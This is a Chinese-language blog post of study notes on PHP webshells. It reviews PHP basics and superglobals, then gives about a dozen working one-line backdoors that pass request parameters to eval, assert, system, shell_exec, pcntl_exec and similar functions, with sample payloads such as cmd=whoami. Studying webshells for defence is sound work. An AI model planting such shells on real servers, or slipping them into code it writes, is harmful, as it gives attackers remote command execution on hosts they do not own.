WEB渗透与网络安全

php webshell学习

2020-03-01  本文已影响0人  sunnnnnnnnnny

一、环境

kali 192.168.43.177
开户apache /etc/init.d/apache2 start
/var/www/html/目录下编辑php代码
hackbar
https://github.com/Mr-xn/hackbar2.1.3

二、php基础

输出函数:
echo - 可以输出一个或多个字符串
print - 只允许输出一个字符串,返回值总为 1
提示:echo 输出的速度比 print 快, echo 没有返回值,print有返回值1。
var_dump 用于输出变量的相关信息,包括变量类型,值
print_r 函数用于打印变量,以更容易理解的形式展示。

EOF

<?php
echo <<<EOF
        <h1>我的第一个标题</h1>
        <p>我的第一个段落。</p>
EOF;
// 结束需要独立一行且前后不能空格
?>

php字符串
https://www.runoob.com/php/php-ref-string.html

<?php
$txt1="Hello world!";
$txt2="What a nice day!";
echo $txt1 . " " . $txt2;
?>

PHP 超级全局变量
https://www.runoob.com/php/php-superglobals.html

$GLOBALS 用于访问全局变量数组
$_SERVER 包含服务器信息和请求头的数组

image.png

表单数据
$_REQUEST
$_POST
$_GET

$_FILES
http://c.biancheng.net/view/6187.html

$_FILES 是一个预定义的数组,用来获取通过 POST 方法上传文件的相关信息。如果为单个文件上传,那么 $_FILES 为二维数组;如果为多个文件上传,那么 $_FILES 为三维数组

$_ENV

PHP中的$_ENV是一个包含服务器端环境变量的数组。它是PHP中一个超级全局变量,我们可以在PHP 程序的任何地方直接访问它。

$_COOKIE

数组 用于取回cookie的值

$_SESSION

数组,用于取回会话变量

三、webshell常用函数

3.1代码执行

1. eval

eval () 函数把字符串按照 PHP 代码来执行
该字符串必须是合法的 PHP 代码,且必须以分号结尾
如果没有在代码字符串中调用 return 语句,则返回 NULL
如果代码中存在解析错误,则 eval () 函数返回 false

可参考
https://www.cnblogs.com/flzs/p/10241668.html
https://qq52o.me/2277.html

注意:

加上 @符来抑制错误输出
eval函数参数中的赋值操作需要对$转义 \$

//#1-eval
<?php
    eval($_POST["cmd"])
?>
//post:cmd=phpinfo();

<?php @eval($_GET["cmd"]);?>
//get:?cmd=phpinfo();

2. assert

assert为php中的断言函数,用法同eval
assert_option()可以用来对assert()进行一些约束和控制;
默认值

ASSERT_ACTIVE=1 //Assert函数的开关
ASSERT_WARNING =1 //当表达式为false时,是否要输出警告性的错误提示,issue a PHP warning for each failed assertionASSERT_BAIL= 0 //是否要中止运行;terminate execution on failed assertions
ASSERT_QUIET_EVAL= 0 //是否关闭错误提示,在执行表达式时;disable error_reporting during assertion expression evaluation
ASSERT_CALLBACK= (NULL) // 是否启动回调函数 user function to call on failed assertions
例子
//#2-assert
<?php
    assert($_POST["cmd"])
?>
//post:cmd=phpinfo();

3. call_user_func

https://www.php.net/manual/zh/function.call-user-func.php

call_user_func把第一个参数作为回调函数调用,
其余参数是回调函数的参数。
返回回调函数的返回值。

//#3-call_user_func
<?php
    call_user_func($_POST["fun"],$_POST["para"])
?>
//post:fun=assert&para=phpinfo();

4. create_funtion

https://www.php.net/manual/zh/function.create-function.php
create_function用于创建一个匿名函数,像python中lambda表达式

create_function ( string $args , string $code ) : string
args 为函数参数 如$a,$b
code 函数的代码
返回一个字符串,表示 函数名

//#4-create_function
<?php 
    $a= $_POST['func'];
    $b = create_function('$a',"echo $a");
    $b('');
?>
//post:func=phpinfo();

5 array_map

https://www.php.net/manual/zh/function.array-map.php
array_map — 为数组的每个元素应用回调函数,相当于python中的map函数

image.png
//#5-array_map
<?php
    $array = array(0,1,2,3,4,5);
    array_map($_GET['func'],$array);

?>
//post:func=phpinfo

3.2 命令执行

php有一系列系统命令执行的函数
可参考https://www.php.net/manual/zh/book.exec.php

系统程序执行

1. system

https://www.php.net/manual/zh/function.system.php
system — 执行外部程序,并且显示输出

system函数
<?php system($_POST["cmd"]);?>
//post:cmd=whoami

2 passthru

passthru — 执行外部程序并且显示原始输出


passthru
<?php passthru($_POST["cmd"]);?>
//post:cmd=ifconfig

3.exec

返回命令输出的最后一行


image.png
<?php echo exec($_POST["cmd"]);?>

4 pcntl-exec

https://www.php.net/manual/zh/function.pcntl-exec.php

pcntl-exec
<?php pcntl_exec("/bin/bash",array($_POST["cmd"])); ?>

5. shell_exec

shell_exec
<?php echo shell_exec($_POST["cmd"]); ?>

6 popen proc_popen

https://www.php.net/manual/zh/function.proc-open.php
https://www.php.net/manual/zh/function.popen.php

popen
<?php $handle = popen("/bin/ls","r");?>

7 ``

<?php echo `whoami`?>

8 ob_start/ob_end_flush

https://www.php.net/manual/zh/function.ob-start.php

 <?php
   $cmd = 'system';
   ob_start($cmd)
   echo "$_GET[a]";
   ob_end_flush();
?>
//?a=whoami

参考资料

https://www.cnblogs.com/KevinGeorge/p/8127054.html

上一篇下一篇

猜你喜欢

热点阅读